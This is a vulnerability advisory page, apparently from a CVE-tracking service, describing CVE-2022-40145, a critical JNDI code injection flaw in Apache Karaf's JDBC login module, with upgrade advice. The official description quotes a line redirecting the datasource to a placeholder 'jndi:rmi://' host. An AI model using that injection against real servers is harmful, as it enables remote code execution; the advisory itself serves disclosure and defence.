Is CVE-2022-40145 actively exploited?

No active exploitation of CVE-2022-40145 has been confirmed so far. Continue monitoring, as exploit status can change.

Can CVE-2022-40145 be exploited remotely?

Yes. CVE-2022-40145 is exploitable remotely over the network (CVSS attack vector: Network).

What is the CVSS score of CVE-2022-40145?

CVE-2022-40145 has a CVSS score of 9.8 (CRITICAL).

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CRITICAL

CVE-2022-40145

CWE-20Published: December 21, 2022· Updated: Jun 17, 2026

9.8

CVSS v3.1

Official Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource

use InitialContext.lookup(jndiName) without filtering.

An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a

configuration uses a JNDI LDAP data source URI when an attacker has

control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

NVD Source

Risk Analysis

Apache Karaf is vulnerable to remote code execution when a JNDI LDAP data source URI is used and an attacker controls the LDAP server. This critical flaw allows for unauthorized code execution.

No public exploit is known, and the vulnerability is not in the KEV catalog.

Recommended Action

Upgrade to Apache Karaf version 4.4.2 or later.

Generated by the CTIWATCH analysis pipeline from this CVE's metadata (CVSS, EPSS, KEV status, exploit intelligence). Verify against vendor advisories before acting.

Technical Analysis

CVE-2022-40145 can be exploited remotely over the network without requiring physical or adjacent access, significantly expanding the attack surface for threat actors.

The vulnerability requires no privileges and no user interaction, making it a prime target for automated exploitation campaigns and worm-like propagation.

A successful exploit results in complete confidentiality breach (data exposure), full integrity compromise (data manipulation), availability disruption (denial of service), with a CVSS base score of 9.8.